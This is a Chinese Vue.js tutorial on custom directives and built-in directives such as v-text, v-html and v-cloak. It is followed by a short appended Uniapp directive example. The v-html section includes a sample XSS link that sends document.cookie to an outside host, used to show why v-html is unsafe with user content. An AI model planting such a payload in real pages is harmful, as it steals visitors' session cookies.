自定义指令

一、介绍

Vue.js 允许开发者自定义指令,以便在模板中的 DOM 元素上绑定自定义行为。自定义指令可以用来封装常见的 DOM 操作,比如设置元素的样式、添加事件监听器、自动聚焦等等。指令使用 v- 前缀,例如 v-my-directive

二、定义语法

1. 全局和局部指令

(1).局部指令:
new Vue({
directives:{指令名:配置对象} 或
// directives{指令名:回调函数}
})

<!-- 准备好一个容器-->
<div id="root">
	<h2>放大10倍后的n值是:<span v-big-number="n"></span> 
	<hr/>
	<input type="text" v-fbind:value="n">
</div>
<!-- 局部自定义指令->
new Vue({
			el:'#root',
			data:{
				name:'测试',
				n:1
			},
			directives:{
			
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。	

			// 指令名:配置对象
				fbind:{ 
					//指令与元素成功绑定时(一上来)
					bind(element,binding){ //真实的元素, 获取到绑定值相关
						element.value = binding.value  //拿到值
					},
					//指令所在元素被插入页面时
					inserted(element,binding){ //真实的元素, 获取到绑定值相关
						element.focus()    //获取焦点
					},
					//指令所在的模板被重新解析时
					update(element,binding){ //真实的元素, 获取到绑定值相关
						element.value = binding.value
					}
				}

需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。

	//big函数何时会被调用?
	    //1.指令与元素成功绑定时(一上来)。
		//2.指令所在的模板被重新解析时。
		// 指令名:回调函数
		/*
			'big-number':function(element,binding){  //真实的元素, 获取到绑定值相关
			// console.log('big')
			element.innerText = binding.value * 10
		}, 
		*/
		
		'big-number'(element,binding){ //真实的元素, 获取到绑定值相关
			// console.log('big')
			element.innerText = binding.value * 10
		}, 
				
			}
		})

(2).全局指令:
Vue.directive(指令名,配置对象) 或
// Vue.directive(指令名,回调函数)

<div id="root">
	<input type="text" v-fbind:value="n">
</div>
 //定义全局指令
	Vue.directive('fbind',{
		//指令与元素成功绑定时(一上来)
		bind(element,binding){ //真实的元素, 获取到绑定值相关
			element.value = binding.value
		},
		//指令所在元素被插入页面时
		inserted(element,binding){ //真实的元素, 获取到绑定值相关
			element.focus()
		},
		//指令所在的模板被重新解析时
		update(element,binding){ //真实的元素, 获取到绑定值相关
			element.value = binding.value
		}
	}) 

2. 配置对象中常用的3个回调

(1).bind:指令与元素成功绑定时调用。
(2).inserted:指令所在元素被插入页面时调用。
(3).update:指令所在模板结构被重新解析时调用。

3. 备注

1.指令定义时不加v-,但使用时要加v-;
2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名
3.指令里面的this,默认指向的是window

三、 创建自定义指令的步骤

  1. 使用 Vue.directive 方法创建一个全局指令或一个局部指令。
// 全局指令
Vue.directive('my-directive', {
  // 指令选项
})

// 局部指令
new Vue({
  directives: {
    'my-local-directive': {
      // 指令选项
    }
  }
})
  1. 在指令选项中定义 bindinsertedupdatecomponentUpdatedunbind 等钩子函数,这些钩子函数会在指令绑定到元素、元素插入到 DOM、元素更新、组件更新和指令从元素上解绑时被调用。
Vue.directive('my-directive', {
  bind: function (el, binding, vnode) {
    // 指令绑定时调用
  },
  inserted: function (el, binding, vnode) {
    // 元素插入到 DOM 时调用
  },
  update: function (el, binding, vnode, oldVnode) {
    // 元素更新时调用
  },
  componentUpdated: function (el, binding, vnode, oldVnode) {
    // 组件更新时调用
  },
  unbind: function (el, binding, vnode) {
    // 指令从元素上解绑时调用
  }
})
  1. 在钩子函数中执行指令的具体操作。例如,在 bind 钩子函数中设置样式,如下所示:
Vue.directive('my-directive', {
  bind: function (el, binding, vnode) {
    el.style.backgroundColor = binding.value
  }
})
  1. 在模板中使用指令。例如:
<div v-my-directive="'red'">Hello World!</div>

注意,指令的值可以是字符串、数字、布尔值、对象、数组、函数等任何 JavaScript 类型,具体使用上要根据指令的实现方式和需求决定。

四、 自定义指令实现限制输入数字和小数点的例子

Vue.directive('number', {
  bind: function (el) {
    // 只允许输入数字和小数点
    el.addEventListener('keypress', function (event) {
      var key = event.which;
      if (key !== 46 && key > 31 && (key < 48 || key > 57)) {
        event.preventDefault();
      }
    });
    // 限制只能有一个小数点
    el.addEventListener('keyup', function (event) {
      var value = el.value;
      var index = value.indexOf('.');
      if (index !== -1 && value.lastIndexOf('.') !== index) {
        el.value = value.slice(0, index + 1) + value.slice(index).replace(/\./g, '');
      }
    });
  },
});

使用自定义指令的方式:在模板中使用v-指令名称,如下:

<input type="text" v-number>

以上就是使用 Vue.js 自定义指令的基本步骤。

五、拓展(内置指令)

Vue模板语法有2大类:

1.插值语法:

功能:用于解析标签体内容。
写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性。

2.指令语法:

功能:用于解析标签(包括:标签属性、标签体内容、绑定事件…)。
举例:v-bind:href=“xxx” 或 简写为 :href=“xxx”,xxx同样要写js表达式,
且可以直接读取到data中的所有属性。
备注:Vue中有很多的指令,且形式都是:v-???,此处我们只是拿v-bind举个例子。

1. 常见指令

v-bind	: 单向绑定解析表达式, 可简写为 :xxx
v-model	: 双向数据绑定
v-for  	: 遍历数组/对象/字符串
v-on   	: 绑定事件监听, 可简写为@
v-if 	 	: 条件渲染(动态控制节点是否存存在)
v-else 	: 条件渲染(动态控制节点是否存存在)
v-show 	: 条件渲染 (动态控制节点是否展示)

2. v-text指令

1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-text指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好,{{name}}</div>
			<div v-text="name"></div>
			<div v-text="str"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		new Vue({
			el:'#root',
			data:{
				name:'admin',
				str:'<h3>你好啊!</h3>'
			}
		})
	</script>
</html>

3. v-html指令

1.作用:向指定节点中渲染包含html结构的内容。

2.与插值语法的区别:
(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
(2).v-html可以识别html结构。

3.严重注意:v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-html指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好,{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		new Vue({
			el:'#root',
			data:{
				name:'admin',
				str:'<h3>你好啊!</h3>',
				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>跳转</a>',
			}
		})
	</script>
</html>

4. v-cloak指令(没有值)

1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<style>
			[v-cloak]{
				display:none;
			}
		</style>
		<!-- 引入Vue -->
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		console.log(1)
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'admin'
			}
		})
	</script>
</html>

5. v-once指令

1.v-once所在节点在初次动态渲染后,就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-once指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-once>初始化的n值是:{{n}}</h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

6. v-pre指令

1.跳过其所在节点的编译过程。
2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-pre指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-pre>Vue其实很简单</h2>
			<h2 >当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

7. 一个Dom操作

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Document</title>
		<style>
			.demo{
				background-color: orange;
			}
		</style>
	</head>
	<body>
		<button id="btn">点我创建一个输入框</button>
	//	创建input,设置样式,初始值,时间,以及默认选中
		<script type="text/javascript" >
			const btn = document.getElementById('btn')
			btn.onclick = ()=>{
				const input = document.createElement('input')
				input.className = 'demo'
				input.value = 99
				input.onclick = ()=>{alert(1)}
				document.body.appendChild(input)
				input.focus()
				//设置父级元素的背景色
				// input.parentElement.style.backgroundColor = 'skyblue'
				console.log(input.parentElement)
			}
		</script>
	</body>
</html>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
在 Uniapp 中,可以通过自定义指令来扩展和定制 Vue 模板编译器的行为。自定义指令可以用于在模板中添加一些特殊的行为或逻辑。 要创建一个自定义指令,需要在 Uniapp 项目中的 `main.js` 文件中注册它。下面是一个简单的示例: ```javascript // main.js import Vue from 'vue' // 注册自定义指令 Vue.directive('myDirective', { bind: function (el, binding, vnode) { // 指令绑定时的处理逻辑 // el 是绑定指令的元素 // binding 是一个对象,包含了指令的相关信息 // vnode 是 Vue 编译生成的虚拟节点 }, update: function (el, binding, vnode, oldVnode) { // 指令更新时的处理逻辑 // el 是绑定指令的元素 // binding 是一个对象,包含了指令的相关信息 // vnode 是 Vue 编译生成的虚拟节点 // oldVnode 是更新前的虚拟节点 }, unbind: function (el, binding, vnode) { // 指令解绑时的处理逻辑 // el 是绑定指令的元素 // binding 是一个对象,包含了指令的相关信息 // vnode 是 Vue 编译生成的虚拟节点 } }) ``` 在上面的示例中,我们使用 `Vue.directive` 方法注册了一个名为 `myDirective` 的自定义指令。指令对象包含了几个生命周期钩子函数,如 `bind`、`update` 和 `unbind`。通过这些钩子函数,可以在不同的阶段处理指令的逻辑。 在模板中使用自定义指令时,可以通过 v- 前缀来指定指令的名称。例如: ```html <template> <div v-myDirective></div> </template> ``` 以上就是在 Uniapp 中创建自定义指令的基本步骤。你可以根据具体需求在钩子函数中编写自定义指令的逻辑。希望对你有所帮助!如果还有其他问题,请继续提问。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值